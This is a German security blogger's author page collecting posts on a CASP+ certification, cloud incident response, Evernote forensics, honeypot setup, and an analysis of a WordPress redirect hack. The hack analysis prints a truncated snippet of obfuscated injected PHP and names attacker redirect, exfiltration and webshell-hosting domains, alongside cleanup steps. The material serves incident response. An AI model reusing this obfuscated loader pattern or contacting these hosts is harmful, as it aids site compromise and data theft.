Tizian Kohler

About Tizian Kohler

IT-Securityexperte aus Süddeutschland. Meine mehrjährige Tätigkeit im Bereich der Incident Response und Forensik brachte mir viele Einblicke in kleinere, mittlere und auch größere Unternehmen in Deutschland. Meine Mission: Unternehmen dabei helfen ihre IT-Sicherheit zu verbessern und Ihnen im Ernstfall dabei helfen durch forensische Analysen und gezielte Hilfestellungen ihr Business weiterzuführen. Außerdem möchte ich mein Wissen teilen, weshalb ich diesen Blog betreibe und regelmäßig Fachvorträge halte.

Posts by Tizian Kohler:

Tizian Kohler ComTIA Advanced Security Practitioner

, , ,

Erfahrungsbericht CASP+ (CompTIA)

Was ist das CASP+ Zertifikat?

Tizian Kohler ComTIA Advanced Security Practitioner„CompTIA Advanced Security Practitioner (CASP+) ist eine fortgeschrittene Cybersicherheitszertifizierung für Sicherheitsarchitekten und leitende Sicherheitsingenieure, die mit der Leitung und Verbesserung der Cybersicherheitsbereitschaft eines Unternehmens beauftragt sind.“ Treffender, als auf der CompTIA-Webseite zum CASP+, könnte ich es nicht formulieren. 

Das Zertifikat richtet sich an erfahrene Cybersecurity-Spezialisten, die mindestens 10 Jahre allgemeine IT-Erfahrung oder 5 Jahre Erfahrungen in der IT-Sicherheit gesammelt haben. Braucht man das wirklich? Nunja… Ich würde sagen, dass man ein sehr gutes Verständnis jeglicher Sicherheitstechnologien und der Sicherheitskonzepte in vielfältigen Gebieten der IT haben sollte. Hat man diese Erfahrung bisher nicht, muss man schon ziemlich büffeln (siehe dazu mehr im Abschnitt „Wie habe ich die Prüfung bestanden?“).

Konkret prüft CompTIA das Wissen und die Fähigkeiten aus folgenden Gebieten ab:

  • Sicherheitsarchitektur
  • Sicherheitsoperationen
  • Governance, Risiko und Compliance
  • Sicherheitstechnik und Kryptographie

Um sich also „CompTIA Advanced Security Practitioner“ nennen zu dürfen und das Zertifikat zu erlangen, muss man eine Prüfung bestehen. Diese besteht aus maximal 90 Fragen aus den oben genannten Bereichen. Die Fragen sind sowohl Multiple-Choice als auch leistungsbasierte Fragen.

Aber was genau sind diese leistungsbasierte Fragen?

Das sind zum einen virtuelle Labs, in welchen man wirklich selbst & frei die Aufgaben lösen muss oder Simulationen, in welchen man eine Aufgabe anhand von vorgegebenen Antworten lösen muss.

Und ich muss sagen, dass es diese in sich haben. Sie können aus unterschiedlichen Bereichen kommen und auch unterschiedlichste Betriebssysteme/Technologien beinhalten. Man sollte sich also definitiv sowohl mit der Bash (Unix-Systeme), mit der Kommandozeile (Windows-Systeme) als auch mit der Konfiguration des ein oder anderen Sicherheitsprodukts (Firewalls, Router etc.) auskennen.

Warum habe ich mich dafür entschieden?

Ich wollte, um ehrlich zu sein, einfach mein Wissen erweitern und das am besten zielgerichtet. Durch die klar definierten Prüfungsziele („CASP+ Exam Objectives“) wusste ich, was ich alles lernen „muss“, um am Ende die Prüfung zu bestehen. Die die Ziele kannst du dir hier im PDF-Format ansehen: CompTIA CASP+ Exam Objectives.

Beim ersten Blick in diese Ziele war ich erst einmal kurz geschockt, da die Anforderungen eigentlich das ganze Spektrum der IT-Sicherheit abdecken. Von Unternehmensarchitektur über Verschlüsselungsalgorithmen bis hin zu „neueren“ Themen wie der Cloud, IoT oder Mobile Devices. Mir hat es aber sehr geholfen mich hinter diese Ziele zu „klemmen“. Ich wollte jedes einzelne Konzept und jede Technologie erlernen und verstehen.

Wie habe ich die Prüfung bestanden?

Ich habe mich mit 4 Ressourcen auf die Prüfung vorbereitet.

Als Grundlage habe ich das „CASP+ CompTIA Advanced Security Practitioner Certification Kit: Exam CAS-004“ von Sybex genutzt. Das habe ich einmal komplett durchgearbeitet, um die Grundlagen zu verstehen. Insbesondere das Buch mit den „Practice Tests“ war sehr sehr nützlich. Sybex bietet eine Online-Trainings- & Testbank an, die ich auf jeden Fall empfehle. Hier habe ich über 1000 Fragen durchgemacht. Jede Frage, die mir Probleme bereitet hat, habe ich dann in der Folge nachbereitet. Sei es zu den Technologien recherchiert, Videos angeschaut oder nochmals im Buch nachgelesen.

Die zweite Ressource war ein Udemy Kurs von Jason Dion. Diesen Kurs habe ich nicht komplett durchgesehen, sondern nur punktuell genutzt, um die Technologien tiefer zu verstehen. Auch er bietet am Ende 90 Exam-Fragen, die nützlich sind.

Als dritte Ressource nutzte ich den „Network Defense“-Kurs von Cisco (Link: https://skillsforall.com/course/network-defense?courseLang=en-US). Dieser Kurs war kostenlos und bietet wirklich einen Top-Mehrwert. Wer Hands-On-Skills mit Router-/Firewall-ACLs sammeln will, ist hier genau richtig! Zudem vermittelt er wichtige Skills zu Netzwerkarchitekturen und –technologien. Natürlich alles bezogen auf Cisco-Geräte. Cisco hat hier aber wirklich richtig gute Ressourcen!

Als vierte Ressource habe ich die kostenpflichtige Möglichkeiten von Cybrary genutzt (Link dazu: https://www.cybrary.it/course/comptia-casp). Hier habe ich insbesondere die Übungsfragen (Practice Test in Kooperation mit CyberVista – Leider nur mit aktivem Abonnement nutzbar) und die Labs (Link: https://www.cybrary.it/practice-lab/comptia-casp) genutzt. Die Übungsfragen werden nach der Beendigung immer super erklärt. Auch darüber hinausgehende Themen und Zusammenhänge werden erläutert.

Was war das beste am Zertifikat?

Defintiv der Wissenszuwachs! Ich liebte es in das ganze Spektrum der Cybersicherheit, inkl. Governance-/Risikomanagement-Themen eintauchen zu können, dabei aber die Hands-On-Skills nicht aus dem Auge zu verlieren.

Gibt’s Verbesserungen?

Mir fehlte in meiner Vorbereitung ein wenig der rote Faden. Dieser ist sicherlich deutlich besser erkennbar, wenn man die offiziellen Vorbereitungsmaterialien von ComTIA verwendet. Ansonsten würde ich mir ein wenig mehr Sichtbarkeit des Zertifikats wünschen, da es sich meiner Meinung nach lohnt dieses Wissen aufzubauen.

Fazit

Ich kann das Zertifikat „CASP+“ allen empfehlen, die sich im IT-Sicherheitsumfeld breiter aufstellen wollen und nicht nur Lust darauf haben das Wissen „auswendig“ zu lernen. Die Lern-Ressourcen zu CASP+ bieten eine tolle Möglichkeit Hands-On-Skills zu erwerben und sich weiterzubilden.

Ob es am Ende der eigenen Karriere nutzt, weiß ich nicht. Mein Wissenszuwachs war auf jeden Fall hoch!

Cloud IR

, , , , ,

Veränderungen des Incident Response Prozesses in der Cloud?

Cloud IR

Die Einführung von Cloud-Technologien bringt Unternehmen nicht nur erhebliche Vorteile, sondern fordert auch Anpassungen der IT-Sicherheitsprinzipien und Prozesse. Die zunehmende Flexibilität, die breitere Netzwerkanbindung und die Nutzung von Ressourcen durch den Einsatz der (Public-)Cloud eröffnen neue Angriffspfade und erfordern eine Überarbeitung der IT-Sicherheitsstrategie. Ein wichtiger Aspekt hierbei ist die Anpassung der Reaktionsmaßnahmen auf Cyberangriffe (Incident Response). Wie verändert sich also der Incident Response Prozess in der Cloud?

Inwieweit sich der Incident Response Prozess verändert, hängt von dem gewählten Cloud-Servicemodell ab. Im Fokus stehen hierbei hauptsächlich die Infrastructure-as-a-Service-Modelle in Public Clouds. Im Vergleich dazu eröffnen Platform-as-a-Service und Software-as-a-Service weniger Konfigurationsmöglichkeiten und limitieren somit die Möglichkeiten für eigene Incident Response Maßnahmen.

Für den Incident Response Prozess bleibt vorweg festzuhalten, dass die Schritte weiterhin dieselben bleiben: Preparation, Detection, Analysis, Containment, Eradiction, Recovery & Post Incident Aktivität.

Preparation

In der Vorbereitungsphase des Incident Response Prozesses ist es wichtig, die Verantwortungsbereiche im Hinblick auf die Cloud genau abzugrenzen (Shared-Responsibility-Modell). Hierbei ist es von entscheidender Bedeutung, die Services des Cloud-Anbieters im Falle eines Incidents zu kennen und zu verstehen, wie man ihn erreicht. Dazu gehören insbesondere die von ihm bereitgestellten Tools und Quellen zur Erhebung von Beweisen (Log-Collection, Imaging, Sammlung von Metadaten). Es ist wichtig, diese im Vorfeld auf ihre Effektivität und Aussagekraft zu testen und gegebenenfalls anzupassen. Ein weiterer wichtiger Schritt ist die Einrichtung von sogenannten Breaking-Glass-Accounts, die Super-Admin-Rechte besitzen und dazu dienen, schnell und effektiv Sicherungsmaßnahmen durchzuführen. Diese Accounts sollten durch eine starke Überwachung und Anmeldeprozedur geschützt werden, um sicherzustellen, dass sie nicht bereits vor dem Incident kompromittiert wurden. Nach diesen Schritten wissen Sie nun, mit welchen Accounts Sie auf welche Beweisquellen zurückgreifen können, wo sich diese befinden und welche Tools Ihnen dabei helfen können.

Detection/Analysis

Der erste Schritt in diesen beiden Phasen eines Incidents in der Cloud besteht darin, sicherzustellen, dass das Management-Interface nicht von Angreifern kompromittiert wurde. Dazu gehört die Überprüfung von Accounts mit privilegierten Zugriffsrechten und gegebenenfalls deren Zurücksetzung. Im Gegensatz zur Analyse von Incidents in On-Premise-Umgebungen unterscheiden sich die Datenquellen in der Cloud erheblich. Hier spielen Logs eine zentrale Rolle, da der Zugriff auf die Infrastruktur zur Durchführung von Sicherungsmaßnahmen von gesamten Images in SaaS-/PaaS-Modellen beschränkt sein kann. Es ist wichtig, Netzwerk-, System-, User- und Adminlogs zu untersuchen, um sich einen ersten Überblick zu verschaffen. Wenn man Zugriff auf die Compute-Instanzen (VMs oder Container) hat, kann es von Vorteil sein, sowohl Memory- als auch Festplatten-Images zu erstellen und zu analysieren. Dies ist jedoch im Gegensatz zu der Analyse von On-Prem-Umgebungen nicht immer der Fall.
Eine Herausforderung bei IR-Maßnahmen in der Cloud ist die Chain-of-Custody für die erhobenen Daten. Durch die Virtualisierung ist es manchmal schwierig zu ermitteln, auf welcher Hardware die Daten tatsächlich gespeichert wurden. Doch das darf Unternehmen nicht davon abhalten, die Analyse-Phase des Incident Response Prozesses durchzuführen. Es gilt schnell zu handeln, indem die Netzwerklogs und Firewallregeln gesichert, die Config-Dateien der Instanzen untersucht werden, um benachbarte betroffene Maschinen zu finden, die die gleiche Config aufweisen und Datenzugriffslogs zu sichern und analysieren. Sobald es Hinweise auf betroffene Accounts gibt, können wir die User-Activity-Logs heranziehen, um genau zu verstehen, was passiert ist. Bei Identifikation der die betroffenen Instanzen, kann in den nächsten Schritt übergegangen werden.

Containment, Eradiction und Recovery

In diesen Schritten verändert sich die Vorgehensweise beim IR grundsätzlich und die Schwächen in punkto Chain-of-Custody werden ausgemerzt. Der zuvor ermittelte Impact des Angriffs, ermöglicht die Abschätzung des Containment-Umfangs. Es kann jetzt begonnen werden alle betroffenen VM-/Container-Instanzen über Firewall-Regeln intern vom restlichen Netz trennen. Dies gelingt durch Software-Defined-Infrastructures und Template-Instanzen fast ohne merkbare Einbußen. Mit wenigen Klicks werden die Instanzen und das bestehende Netzwerk anhand der Templates in sauberem Zustand neu ausgerollt.
Die infizierten Maschinen müssen folglich nicht gelöscht werden, sondern stehen nun zur vollständigen forensischen Analyse bereit. Die dynamische Verlagerung der Arbeitslasten auf die neuen cleanen Instanzen ermöglicht im besten Fall eine kontinuierliche und unterbrechungslose Business Continuity. Und: sie verschafft den Forensikern zudem die Möglichkeit ohne Zeitdruck zu analysieren.
Sofern bei der Analyse Schwächen in der Konfiguration von Compute-Instanzen oder Netzwerk festgestellt werden, sind diese natürlich möglichst zeitnah zu mitigieren, um einen identischen Angriff zu verhindern.

In der letzten Phase des IR-Prozesses (Post-Incident-Activity) sind die durchgeführten Maßnahmen kritisch zu hinterfragen, wodurch festgestellte Schwächen direkt in Änderungen münden können.

WP Security Cheatsheet

WordPress-Security Cheatsheet

Als Ergebnis meiner Masterthesis habe ich ein WordPress-Security Cheatsheet entwickelt, das ich sehr gerne mit euch teilen würde. Verwendet es gerne für eure eigene WordPress-Seite und erhöht durch einfache Maßnahmen die Sicherheit eurer Webseite!

WP Security Cheatsheet
Hacking Wordpress

, , , , , ,

WordPress Hack – .bt // lmlink1-redirect

Vor kurzem wurde ich von einem Bekannten angerufen, weil seine WordPress-Seite augenscheinlich gehackt wurde. Das Problem war, dass bei jedem Besuch der Seite direkt eine Weiterleitung stattfand und ein Popup aufging, in dem Ballons flogen und man darauf hingewiesen wurde, dass man eine Amazon-Geschenkkarte im Wert von 1000 Euro gewonnen habe (siehe Bild unten). Juhu, gewonnen, dachte ich… Nein Spaß beiseite.. Ich begab mich direkt in die Untersuchung, die ich euch hier möglichst kurz beschreiben möchte.

 

Untersuchung im Browser

Natürlich untersuchte ich erst das Offensichtliche. Im Browser öffnete ich die Entwickler-Werkzeuge und fand einen Hinweise auf eine Datei namens popunder.js. In der Konsole wurde angezeigt, dass der Cookie den Wert für “SameSite” mit einem ungültigen Wert besetzte. Bei näherer Betrachtung konnte ich feststellen, dass der seitenübergreifende Speicherzugriff auf die Webseite für die URL https://check-primeprize.life erlaubt wurde. Das “SameSite”-Attribut ist eigentlich dazu bestimmt Cookies von anderen Seiten (also Cross-Site) zu unterbinden und erst dann auszuführen, wenn wirklich die fremde Seite aufgerufen wird.

Parallel dazu betrachtete ich den Quelltext. Hier konnte ich den im folgenden Bild ersichtlichen <script>-Abschnitt finden, der die JavaScript-Datei “popunder.js” der Domain “check-primeprize.life” einband. Als Variable “popunder” wurde die Domain letztlich mit verschiedenen Parametern an die aufgerufene Webseite übergeben (Details erspare ich hier).

Danach habe ich den Quelltext der eingebundenen “popunder.js”-Datei betrachtet. Dort wurde ein Eventlistener auf die Seite gesetzt, der bei Klicks durch den Benutzer letztlich das Popup-Fenster öffnet und den Cookie setzt (Details erspare ich auch hier der Lesbarkeit halber).

Schön, das sind ja nur die Auswirkungen. Aber was lag denn nun im Backend und wie kamen die Täter da rein? Wie die Täter reinkamen weiß ich leider bis heute nicht. Die Vermutung liegt aber auf einem veralteten Plugin. Mein Tipp: Immer schön die Plugins und Themes updaten!

Untersuchungen im Backend

Über einen FTP-Zugang habe ich mich dann im Dateiverzeichnis im Backend umgesehen. Dort konnte ich im root-Verzeichnis und im Verzeichnis “wp-admin” zwei Dateien namens “.bt” finden. Diese könnte auch unter “wp-admin/css” liegen, was bei mir aber nicht der Fall war. Bei der Datei handelte es sich um eine Text-Datei, die verschiedenste IP-Adressen enthielt. Die genaue Funktion war mir noch nicht bekannt. Durch eine Google-Recherche bin ich dann aber auf den Artikel “How to Detect the .bt WordPress Hack” von BitofWP gestoßen. Hier fand ich heraus, dass die .bt-Dateien zur Identifikation von Crawlern dienen, sodass die Seite sich bei diesen normal verhält und nicht auf einer Blacklist landet (sonst wäre das “Geschäftsmodell” der Hacker ja zerstört). Außerdem wurde dort unter dem Titel “lmlink1-redirect” genau unser Problem beschrieben, weshalb ich weiterlas. Ich stieß hierbei auf die “functions.php”-Datei des jeweiligen Themes. Dort war, laut diesem Artikel, der Schadcode enthalten. Warum sollten die Hacker genau diese Datei nehmen? Die Frage lässt sich durch die Betrachtung des WordPress-Bootcycle beantworten. Die Datei wird bei jedem Besuch eines Nutzers auf der Seite mitaufgerufen, sodass jeder Besucher in den Genuss der Weiterleitung kommen kann!

Betrachtung der Datei “wp-content/themes/<themename>/functions.php”

Also suchte ich im Ordner des aktiven Themes nach der “functions.php”-Datei. In Zeile 1-64, noch vor dem “offiziellen” Code, war ein Code mit komischen Variablennamen eingefügt worden. Diesen habe ich in sehr stark gekürzter Form hier eingefügt:

@include(‚ template-config.php ‚);
@ini_set(‚display_errors‘, ‚0‘);
error_reporting(0);
global $zeeta;


if (!$npDcheckClassBgp && !isset($zeeta)) {
$ea = ‚_shaesx_‘; $ay = ‚get_data_ya‘; $ae = ‚decode‘; $ea = str_replace(‚_sha‘, ‚bas‘, $ea); $ao = ‚wp_cd‘; $ee = $ea.$ae; $oa = str_replace(’sx‘, ’64‘, $ee); $algo = ‚default‘; $pass = „Zgc5c4MXrK0ubQgN4pBWZv2dPRfXN70cmCWIX7HVoQ==“; […]

Die Funktionalität des Codes in der “functions.php”-Datei wurde unter dem Link zum “lmlink1-redirect”-Hack gut beschrieben. Im Grunde wird der eigentliche Payload heruntergeladen, der dann ausgeführt und danach wieder gelöscht wird. Der Payload ist letztlich für das Anlegen der .bt-Dateien und auch für die Weiterleitung auf “check-primeprize.life” verantwortlich.

Wie im obigen Codesnippet sichtbar wurde die Datei “template-config.php” eingebettet. Diese befand sich ebenfalls im Verzeichnis “wp-content/theme/<themename>/”. Bei der Untersuchung dieser Datei zeigte sich, dass bei Ausführung viele Datenbankoperationen durchgeführt werden. Einerseits werden zwei Tabellen namens “wp_pcachewpr” und “wp_lcachewpr” in der WordPress-Datenbank angelegt, andererseits werden in diesen Tabellen entsprechende Links gespeichert (u.a. https://<ihreDomain>.de/muenchner-singles-erfahrungen-version oder https://<ihreDomain>.de/erstes-date-maenner-kennenlernen). Hierbei handelt es sich um die URLs über die die Nutzer über die infizierte Webseite auf “check-primeprize.life” weitergeleitet werden. Diese Art von URLs wurde bei der Untersuchung der HTTP-Serverlogs in einer großen Masse festgestellt. Interessant ist, dass in der Datei auch Funktionen implementiert sind, die Daten aus unterschiedlichen Datenbanken eurer Wordpress-Installation an eine URL senden, die obfuskiert abgelegt ist (Bei Deobfuskierung kam diese URL heraus: bb.zetepop.com/work.php). D.h. mithilfe dieser Datei können die Angreifer eure gesamte WordPress-Datenbank einsehen. Auch euer Datenbank-Passwort ist den Angreifern bekannt. Meine Empfehlung ist: Datenbankpasswort dringend ändern! Auch das Passwort eines jeden Nutzers sollte geändert werden!

Neu angelegte Datei: class-wp-http-netfilter.php

Diese Datei wurde unter dem Pfad „/wp-includes/class-wp-http-netfilter.php“ abgelegt. Sie enthält mehrere IP-Adressen, deren Quality-Score soweit keine maliziösen Aktivitäten vermuten lässt. Die Datei wurde jedoch jedes mal bei der Infektion durch den WordPress-Hack angelegt, weshalb sich sie immer gelöscht habe. Die genaue Funktion konnte ich bislang nicht ergründen.

Neu angelegte Datei: wp-load.php

Bei einem neuen Hack, den ich untersuchte, konnte ich drei Dateien mit dem Namen „wp-load.php“ unter den beiden folgenden Pfaden finden: „wp-includes/blocks/categories/wp-load.php“, „wp-includes/blocks/categories/wp-load.php“ und „wp-content/themes/<THEME>/wp-load.php“. Es spricht umso mehr dafür, dass die Hacker sich mehr und mehr professionalisieren, da WordPress standardmäßig tatsächlich eine „wp-load“-Datei beinhaltet. Daher würde man die Dateien aufgrund des Dateinamens als legitim einstufen. Beim Blick in die Dateien zeigte sich der maliziöse Code in seiner vollen Pracht. Es handelte sich hierbei um eine WebShell mit Funktionen zum Erstellen der bereits beschriebenen maliziösen Dateien, wie z.B. „functions.php“.

In den ersten Zeilen der Datei wir die Variable „$ccd“ festgelegt, die einen mittels ROT13 kryptierten String enthält. Rotiert man den String zurück kommt hierbei die URL „api.aedoodaezi.fun“ heraus. Die URL ist auf Virustotal als „Malware“ eingestuft. Diese wird in Verlauf des gesamten Codes mehrfach aufgerufen. U.a. liegt auf dem Server unter der Datei „files/file.txt“ der Inhalt der „wp-load.php“-Datei. Unter der Datei „files/files.txt“ liegt der maliziöse Inhalt der „functions.php“-Datei. D.h. die maliziöse Dateien werden dort gehostet, um sie von dort immer wieder abzurufen. Die Dateien sollte man daher löschen!

Zusätzliche Infos: Lädt man diese Dateien auf Virustotal.com hoch, bekommt man Hinweise auf Webshells des folgenden Github-Repositories: https://github.com/xl7dev/WebShell/tree/master/Php

Neu installiertes Theme namens „skeleton-reworked“

Unter dem Theme-Verzeichnis „wp-content/themes“ von WordPress wurde durch die Malware das Verzeichnis „skeleton-reworked“ und damit das gleichnamige Theme angelegt. Dieses enthielt die fast inhaltsgleichen Dateien wie das Original-Theme (Für einen Vergleich erhältlich unter: https://github.com/wycks/WP-Skeleton-Theme). Einzig die drei Dateien „404.php“, „functions.php“ (den Inhalt kennen wir von oben) und „style.css“ wurden mit geändertem Inhalt angelegt. Die Datei „404.php“ war bei meiner letzten Untersuchung leider leer. Die Datei „style.css“ stimmt fast mit der Originaldatei überein, jedoch haben sich hier die Hacker einen Scherz erlaubt und den „Author“ auf den Google-Gründer „Sergey Brin“ geändert (siehe Bild).

WordPress Hack skeleton Theme
Ich habe das komplette Verzeichnis gelöscht. Alternativ kann man über WP-Admin das Verzeichnis löschen.

Neu installiertes Plugin namens „core-sitemaps“

Im Backend der gehackten Wordpress-Seite wurde unter dem Plugin-Verzeichnis „wp-content/plugins“ zudem das Verzeichnis „core-sitemaps“ und damit das gleichnamige Plugin angelegt. Das Plugin findet sich im Admin-Panel von WordPress dann auch unter der Liste der Plugins. Auch hier konnten im Vergleich zu dem Original-Plugin (Erhältlich unter: https://github.com/GoogleChromeLabs/wp-sitemaps/tree/master) Abweichungen festgestellt werden. Die Datei „404.php“ ist lediglich in der maliziösen Version vorhanden. Die Datei „404.php“ war bei meiner letzten Untersuchung leider leer. Meine Empfehlung: Komplettes Verzeichnis bzw. Plugin über SFTP löschen. Alternativ kann man über WP-Admin das Plugin löschen.

Geänderte Datei „header.php“

Ebenfalls unter dem Verzeichnis „wp-content/themes“ wurde die „header.php“-Datei angelegt, deren Inhalt identisch mit oben beschriebenen schädlichen Datei „functions.php“ war.

Veränderungen unter wp-config.php

Hier konnten kleine Veränderungen gefunden werden, die jedoch nicht als maliziös eingestuft wurden. D.h. diese Datei solltet ihr auf jeden Fall prüfen und eventuell mit einem sicheren Backup der Datei gegenprüfen.

Wo finde ich Hinweise auf den .bt-Hack? (Kurzform)

Die in den obigen Abschnitten dargestellten Hinweise (Indicators of Compromise) auf den .bt-Hack sollen hier in Listenform kurz aufgezeigt werden:

  • Weiterleitung bei Besuch der infizierten Seite
  • Datenbanktabellen “wp_pcachewpr” und “wp_lcachewpr”
  • Dateien im Backend.bt-Datei in Rootverzeichnis
  • /wp-admin/css/.bt”
  • /wp-admin/.bt
  • Veränderungen des Inhalts von /wp-content/themes/<themename>/functions.php (verdächtige Variablennamen etc.)
  • Neue Datei unter Pfad /wp-content/themes/template-config.php
  • Update (05.12.2021): Neue Datei unter Pfad /wp-include/class-wp-https-netfilter.php
  • Update (23.11.2023):
    • Neues Plugin namens „core-sitemaps“
    • Neues Theme namens „skeleton-reworked“
    • Neue Datei unter Pfad „/wp-includes/class-wp-http-netfilter.php“
    • Neue Datei unter Pfad „/wp-includes/blocks/categories/wp-load.php“
    • Neue Datei unter Pfad „/wp-includes/blocks/categories/wp-load.php“
    • Neue Datei unter Pfad „/wp-content/themes/<THEME>/wp-load.php“
    • Neue Datei unter Pfad „/wp-content/themes/header.php“
  • Aufrufe von komischen und eigentlich nicht vorhandenen Subdirectories der Seite, die im Log sichtbar sind
  • Starker Zuwachs von Webseitenaufrufen nach dem erfolgreichen Hack

Bereinigung

Vorsicht! Hier sollte man nicht einfach irgendwelche Dateien blind löschen! Wichtig ist, dass man bei der Bereinigung der Webseite Schritt für Schritt vorgeht und immer wieder die Funktionsfähigkeit der Seite prüft. Solltet Ihr hierbei Hilfe benötigen schreibt mir einfach!

Folgende Schritte solltet ihr unternehmen:

  • Seite temporär offline nehmen
  • Löschen des Schadcodes in /wp-content/themes/functions.php (ca. Zeilen 1-64; Achtung: nicht das <?php-Tag löschen!)
  • Löschen der Datei /wp-content/themes/template-config.php
  • Löschen der Datenbanktabellen “wp_pcachewpr” und “wp_lcachewpr”
  • Update (05.12.2021): Löschen der Datei /wp-includes/class-wp-https-netfilter.php
  • Löschen der Datei „/wp-includes/class-wp-http-netfilter.php“
  • Löschen der Datei „wp-includes/blocks/categories/wp-load.php“
  • Löschen der Datei „wp-includes/blocks/categories/wp-load.php“
  • Löschen der Dateien „wp-content/themes/<THEME>/wp-load.php“
  • Löschen der Dateien „wp-content/themes/header.php“
  • Sind neue Themes installiert worden z.B. „skeleton-reworkes“? –> Löschen!
  • Sind neue Plugins installiert worden z.B. „core-sitemaps“? –> Löschen!
  • WordPress-Plugins updaten!
  • WorPress-Themes updaten!
  • Sicherheitsplugins nutzen, z.B. Wordfence-Plugin!
  • Serverseitige Caches bzw. Cache-Plugins der Seite leeren

Hinweis: Bei der Bereinigung der Seite solltet ihr nicht nur das Theme-Verzeichnis eures aktuellen Themes prüfen, sondern auch die anderen Theme-Verzeichnisse! Solltet ihr das Plugin “Updraft” für Backups oder andere Backup-Plugins verwenden, müsst ihr auch unter dem Verzeichnis “wp-content/updraft/themes-old/<themename>” oder dem entsprechenden „Backup-Verzeichnis“ unter „wp-content“ nachsehen. In der Regel werdet ihr dort auch die schadhaften Dateien finden, sofern der Hack schon länger auf eurer Seite persistent ist.

Evernote Forensik

, ,

Forensische Untersuchung von Evernote

Dieser Beitrag stellt eine meiner Studienarbeiten meines Studiums der „Digitalen Forensik“ vor. Diese möchte ich allen Forensikern und Interessierten bereitstellen, die auf der Suche nach Spuren sind, die Evernote auf einem Windows PC hinterlässt. Ihr könnt die Arbeit gerne herunterladen, wenn ihr einen Deep Dive in die forensische Untersuchung von Evernote bekommen und den Weg nachverfolgen wollt, wie ich die Spuren gefunden habe. Für einen ersten Überblick möchte ich euch die Tabelle hier empfehlen:

Auszug aus den Spuren bei der Anwendung von Evernote
Auszug aus den Spuren bei der Anwendung von Evernote
Die gezeigte Tabelle bietet einen ersten Einblick in wichtige Spuren, die Evernote auf dem System hinterlässt. Wichtig dabei anzumerken ist, dass dies nur ein sehr kleiner Ausschnitt der gesamten Spurenmenge ist! Tiefere Einblicke bietet das PDF-Dokument meiner Arbeit. Viel Spaß beim Lesen! [pdf id=’2431′]
Cyber Intelligence IT-Security 2

, , ,

Modern Honeypot Network – Teil 2: Honeypot einrichten

Ist ja schön, dass wir im ersten Artikel „Modern Honeypot Network – Teil 1: Kommandozentrale auf DigitalOcean“ eine Kommandozentrale eingerichtet haben, um unsere Honeypots zu kontrollieren. Aber wie bekommen wir es nun hin, dass hier auch wirklich Daten ankommen? Wir müssen dazu unseren ersten Honeypot einrichten bzw. unseren ersten „Sensor“ installieren. Ich habe mich dafür für AWS (Amazon Web Services) und den Sensor „Snort“ entschieden. Snort ist ein Intrusion-Detection-System, das verdächtige Verbindungsversuche auf verschiedensten Ports loggt und an unsere Zentrale weitergibt. Also los geht’s….

Einrichten des ersten Sensors auf AWS

Wie ihr AWS-Services einrichtet werde ich in diesem Artikel nicht beschreiben, da ich das jedem von euch zutraue. Um euch zu Verifizieren müsst ihr evtl. eure Kreditkarten-Informationen oder PayPal-Daten eingeben. Das benötigt Amazon auch, dass die Zahlungen gewährleistet sind (bei uns sollten keine Kosten anfallen).

Ihr geht nun in eure AWS-Managementkonsole und wählt EC2 aus. Im EC2-Dashboard drückt ihr dann auf den großen „Launch Instance“-Button (siehe Bild 1). Dann werdet ihr von AWS durch die Einrichtung Schritt-für-Schritt geleitet. Als Instanz wählt ihr Ubuntu 18.04 in der 64-Bit-Version (siehe Bild 2). Danach wählt ihr den Typ der Instanz aus. Ich habe hier t2.small ausgewählt (t2.micro dürfte auch ausreichen und ist kostenlos –> Bild 3). Bild 4 zeigt die Auswahl der Speichergröße. Ich habe 50 GB gewählt, wobei 30 GB ausreichend sind und kostenlos wären.

Bild 1: EC2-Dashboard

Bild 1: EC2-Dashboard

Bild 1: EC2-Dashboard
Bild 2: Auswahl Servertyp
Bild 3: Auswahl Instanz
Bild 4: Auswahl Storage

Danach müsst ihr eine neue “Security Group” hinzufügen. Am besten solltet ihr hier “All traffic” als “Type” und bei “Source” im Dropdown-Menü “Anywhere” auswählen. Das ist eigentlich total unsicher und sollte natürlich nur für einen Honeypot so gemacht werden. Diese soll ja gerade verwundbar sein! Aber was bedeutet das genau? Das heißt, dass an eurer Instanz am Ende alle Ports für jede IP-Adresse erreichbar sind und nicht geblockt werden. Die IT-Security-Abteilung würde die Hände über dem Kopf zusammenschlagen :D…

Nachdem ihr weitergeklickt habt kommt ihr irgendwann zur Übersicht. Danach auf den “Launch”-Button drücken und eure Instanz läuft schon fast! Ihr müsst noch ein neues Key-Pair anlegen, um euch beim Verbindungsaufbau mit PuTTY zu authentifizieren. Dazu vergebt ihr diesrr einen eigenen Namen, ladet die *.pem-Datei herunter und speichert sie ab. Diese müsst ihr dann mit dem PuTTYGen in eine *.ppk-Datei umwandeln. Theoretisch könnt ihr von AWS auch direkt eine *.ppk-Datei herunterladen. Eine genau Anleitung findet ihr hier (Amazon hat das gut beschrieben). Deshalb verzichte ich nun auf weitere Ausführungen. Solltet ihr die Schlüssel-Datei heruntergeladen haben dann dürfte eure Instanz schon laufen! Wie verbindet ihr euch nun mit PuTTY zur Instanz? Auch das könnt ihr in dem obigen Link genau nachlesen. Folgt einfach den Schritten dort! Wenn ihr Fragen habt, meldet euch einfach bei mir.

EINRICHTEN DES SENSORS AUF DER AWS

Um Snort auf der Instanz einzurichten müsst ihr nun in der Shell die folgenden Kommandos eingeben. Wichtig ist erst einmal, dass ihr die Instanz upgradet und updated. Das geht so:

sudo su                  ###Wechsel in den root-Modus
sudo apt-get upgrade     ###Upgrade
sudo apt-get update      ###Update
 
Danach geht ihr zum MHN-Server und loggt euch dort ein. Dort geht ihr auf den Menüpunkt “Deploy” und wählt im Dropdown-Menü “Ubuntu-Snort” aus (siehe Bild 5).
 
Bild 5: Deploy-Menü auf MHN-Server
Bild 6: Deploy-Kommando

Den dort erscheinenden Code (Bild 6) müsst ihr dann einfach kopieren. Danach geht ihr wieder in eure Shell zur AWS-Instanz und fügt den Code mit Rechtsklick ein. Danach installiert sich Snort von ganz alleine und verbindet sich auch gleich mit eurem MHN-Server. Gut oder?!

Zwei ganze Sekunden nach dem Deployment wurde schon der erste Regelverstoß von Snort festgestellt (Bild 7). Scheint vielversprechend. Was ich mit den Daten mache? Keine Ahnung.. Das muss ich noch sehen. Erst einmal sammle ich Informationen, um die Verhaltensweisen von Hacker oder Bots kennenzulernen. Vielleicht kann ich auch geografische Zusammenhänge oder auf der Uhrzeit basierende Angriffe erkennen? Mal sehen.. Es warten ja noch viele weitere Sensoren, die man auf die ähnliche Weise, wie hier beschrieben, anlegen kann!

Bild 7: Erste Regelverstöße gegen IDS “snort”
 
Cyber Intelligence IT-Security 1

, , ,

